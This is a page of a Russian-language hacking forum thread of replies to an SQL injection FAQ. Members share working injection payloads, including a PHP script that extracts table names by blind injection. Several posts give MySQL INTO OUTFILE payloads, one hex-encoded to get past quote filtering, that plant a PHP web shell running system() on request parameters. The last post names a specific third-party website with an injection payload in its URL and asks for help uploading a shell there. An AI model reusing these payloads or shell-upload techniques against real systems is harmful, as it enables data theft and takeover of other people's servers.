Авторские статьи SQL injection полный FAQ

Discussion in 'Статьи' started by Dr.Z3r0, 7 Jul 2007.

  1. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    ??????

     
  2. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Для чего удалять файл со случайным именем?
     
  3. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    Ускоренный подбор колонок, можно и символов:
    например колонок 30
    мы начинаем проверять
    order+by+100-- error
    order+by+50-- error
    order+by+25-- good
    order+by+37-- error
    order+by+31-- err
    order+by+28-- good
    order+by+30-- good
    order+by+31-- err
    => полей 30
    За один запрос мы отрубаем ненужную половину.
    Непомню как называетса этот способ, он испоьзуется при сортировки массива.. Думаю неплохо былоб его использовать в скриптах для подбора. Кол-во обращений к бд сокращается в разы.
    апд:
    /* Для новичков, типа меня, будет просто полезно знать способ*/
    апд2:
    Где Вы видите что этим способом пользуются все?
    скрипт с предидущей страницы. Хотя можно было бы сократить кол-во циклов.
    Code:
    for ($x=0;$x<=count($ascii);$x++){
    	$f1=fopen($file,"a");
    	$sql = "SELECT+table_name+from+information_schema.tables+w  here+table_schema='db'+limit+".$limit.",1"; // Отображение таблиц в БД
    	$url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
    
    	$var = strlen(file_get_contents($url,FALSE,NULL,0,1));
    	if ($var != 0){
    			$info = $substring . ">".chr($ascii[$x])."\n";
    			$string.= chr($ascii[$x]); // Получаем значение и сохраняем его
    			echo "[".$substring."] > FOUND :>>>>>>>>>>> ".$string."\r\n";
    			fwrite($f1,$info);
    			fclose($f1);
    			exit();
    	}else{
    		echo chr($ascii[$x]).chr(13);
    	}
    	
    
    И еще, 2[underwater] зачем при каждой интерации цикла выполнять проверку длинны массива... пустая трата процессорного времени и "тормознутость" скрипта.(я про $x<=count($ascii))
    В SIPT4 не могу проверить каким образом подбирается кол-во столбцов, у кого получилось проверить отпишите плз.
     
    #83 fker, 18 Apr 2009
    Last edited: 18 Apr 2009
    1 person likes this.
  4. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Этот способ называется "бинарный поиск". Широко используется.
     
  5. Yosch23

    Yosch23 New Member

    Joined:
    24 Jan 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    Привет всем, во3ник вопрос ну и что бы не со3давать новую тему вот думаю отпишусь тут может кто то поможет. Вообщем в адресную строку подставляю ' и вместо ошибки ничего не вылетает ну фильтрует как бы просто нет текста ( как я понимаю там должна быть ошибка ) во3можно ли чтото из этого извлечь, надо подбирать количество полей пока текст опять не появиться? Или можно забить на это дело и ничего оттуда не выйдет? Заранее благодарен за ответ.
     
  6. --StraNger--

    --StraNger-- Member

    Joined:
    4 Jan 2009
    Messages:
    63
    Likes Received:
    57
    Reputations:
    5
    попробуй использовать арифметические операции
     
  7. fker

    fker Member

    Joined:
    26 Nov 2008
    Messages:
    135
    Likes Received:
    64
    Reputations:
    -1
    Какбэ попробуй без кавычек +order+by+1-- или +or+1=1-- если так текс выведется, а так +order+by+999-- или +or+1=2-- ничего не выведется то скорее скуль есть и нужно подбирать кол-во полей. А вообще тебе нужно в спец тему - https://forum.antichat.ru/thread46016.html
     
  8. Yosch23

    Yosch23 New Member

    Joined:
    24 Jan 2009
    Messages:
    5
    Likes Received:
    1
    Reputations:
    0
    fker нет... после = подставлял сразу то что ты говорил и ничего не вышло ну тоесть всё нормально выводил =471+or+1=2-- и =471+order+by+1-- одинаково выводит текст... а вот если подставить перед 471 минус и например +or+1=1-- то текст не выводиться...
     
    1 person likes this.
  9. Юльча

    Юльча New Member

    Joined:
    28 Sep 2007
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Спасибо за FAQ!

    Можно ли что-то сделать, если запрос в коде не
    Code:
    SELECT tabl  FROM ...
    (во всех примерах был только select )

    а типа:
    Code:
    INSERT tabl (id, name) VALUES ('$id', '$name')
    $id ни как не проверяется

    ?
     
  10. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Смотря что тебе надо. Но только добавление записи.
    123', '321')--+
     
  11. Юльча

    Юльча New Member

    Joined:
    28 Sep 2007
    Messages:
    3
    Likes Received:
    1
    Reputations:
    0
    Хотелось бы SQL injection

    Но проблема в том что mysql_query обрабатывает только один запрос.
    т.е. кроме как вставить в эту таблицу чепуху не выходит.

    Хочу узнать можно ли както использовать недочет такого кода
     
  12. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    1 person likes this.
  13. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    [небольшая заметка о залитии файлов в слепых инъекциях]

    Посмотрев в интернете информацию по данному вопросу и ничего не найдя, решил поделиться с вами, дорогие друзья, своими мыслями...
    Начнем с проверки прав, дабы убедиться, что у нас есть file_priv:
    Code:
    id=1+and+1=if(load_file('/etc/passwd')+is+not+NULL,1,2)--+
    Если все ровно и нет никаких ошибок, следующим запросом льем шелл:
    Code:
    1+and+if((select+"<?php system($_REQUEST[c]); ?>"+into+outfile+'/tmp/test.txt'),1,2)=1-- 
    Можно также проверить залился ли файл, как мы проверяли наличие file_priv:
    Code:
    id=1+and+1=(if(load_file('/tmp/test.txt')+is+not+NULL,1,2)--+
    Плюс вышеописанной конструкции заключается в том, что где бы инъект не был, в операторе SELECT, UPDATE, INSERT и т.д., при присутствии file_priv и отсутствии magic_quotes, шелл будет литься.

    [BONUS]
    Продолжим мысль и придумаем еще одно применение данной конструкции....
    Надеюсь все читали про способ заливки шелла через инъекции, даже с присутствием magic_quotes, посредством двойного запроса...
    Так вот, чтобы залить шелл необходимо было ордер баем вычислять кол-во колонок, участвующих во втором(вложенном) запросе.
    Использую же вышеописанную технику, можно сократить время подбора колонок(имхо, довольно существенно, потому что когда подбираешь кол-во, приходится каждый раз хексить внутренний запрос)

    Хексим:
    Code:
    0x2D3120616E64206966282873656C65637420223C3F7068702073797374656D28245F524551554553545B635D293B203F3E2220696E746F206F757466696C6520272F746D702F746573742E74787427292C312C32293D312D2D20
    (1 and if((select "<?php system($_REQUEST[c]); ?>" into outfile '/tmp/test.txt'),1,2)=1-- )
    И подставляем сие чудо на место поля, учавствующего в двойном запросе...
    ;)
     
    #93 Iceangel_, 1 Jun 2009
    Last edited: 26 Aug 2009
    3 people like this.
  14. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Iceangel_, кстати все эти запросы можно совместить, если я не ошибаюсь. В один удобный запрос, который сделает всё :)
     
  15. cr0w

    cr0w Elder - Старейшина

    Joined:
    11 Sep 2008
    Messages:
    92
    Likes Received:
    141
    Reputations:
    33
    [ + еще одна небольшая "фича" по теме залития шелла через SQL Injection ]

    Не уверен, что тут уже не писали о подобном способе аплоада шелла, но вроде пока не находил. Возможно, пригодится кому-то:
    Code:
    id=1+limit+1+into+outfile+'/path/to/shell.php'+fields+terminated+by+''+optionally+enclosed+by+"<?php+system($_GET[c]);die();?>"--+
    Т.е. если инъекция в аргументе WHERE (или в LIMIT'е, или в ORDER BY, etc) SELECT-запроса, то можно сразу сделать вывод в файл без UNION'а или подзапросов. Зачем там die() сами догадайтесь. (;

    add: Ну или даже удобнее так:
    Code:
    id=1+limit+1+into+outfile+'/path/to/shell.php'+lines+terminated+by+"<?php+system($_GET[c]);?>"--+
    Вобщем, тут возможны вариации.
     
    #95 cr0w, 2 Jun 2009
    Last edited: 7 Jun 2009
    3 people like this.
  16. Sonsee

    Sonsee New Member

    Joined:
    3 Jun 2009
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    спасибо за подробную статью, очень удобный фак. Единственное, что мне кажеться ты забыл упамянуть, это то, что если в HEX переводятся значения, то это спасает от фильтрации кавычек и их не нужно указывать. Как к примеру - FROM INFO.._SCHEMA.TABLES WHERE=0xимятаблицы_в_хексе. Я использовал этот, чтоб научиться и понять как это делается, единственное, что начал тулить туда кавычки к хексу, и сначала не дошло почему мускул ругается...
     
  17. Qwazar

    Qwazar Elder - Старейшина

    Joined:
    2 Jun 2005
    Messages:
    989
    Likes Received:
    904
    Reputations:
    587
    Пункт 4.2 Фильтруется символ/строка, там как раз про hex :)
     
  18. SeTM

    SeTM Member

    Joined:
    11 Jun 2008
    Messages:
    11
    Likes Received:
    6
    Reputations:
    0
    Здравствуйте, есть сайт с Injection в POST запросе.
    При value="1' " выдает
    видимо кавычки экранируются.
    При запросе value="1+1" выдает страницу как при value="2".
    Возможно ли расскрутить эту иньекцию в что либо стоящие?
     
    #98 SeTM, 29 Jun 2009
    Last edited: 2 Jul 2009
  19. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    SeTM, почему нет?
    пробуй дальше, всё так же как и при GET, только с POST Запросами...
     
  20. N@b$ter

    N@b$ter Elder - Старейшина

    Joined:
    6 Oct 2009
    Messages:
    293
    Likes Received:
    73
    Reputations:
    21
    Хай алл. Кароче фак суперский, но есть пара дополнений например, место того чтобы до куя раз писать limit+1,1 limit+2,1 не легче ли просто написать limit+1,200 и все таблицы выдут пробывал =). Ещё такой вопрос я нашёл дрявый сайт http://www.feldgrau.com/articles.php?ID=73+union+select+1,2,3,4,5,6,@@basedir,8/* ну раскрутил до нельзя, но не могу загнать шелл потому что там нет админки и через Into outfile тоже не получается кто знает помогите до конца освоить =)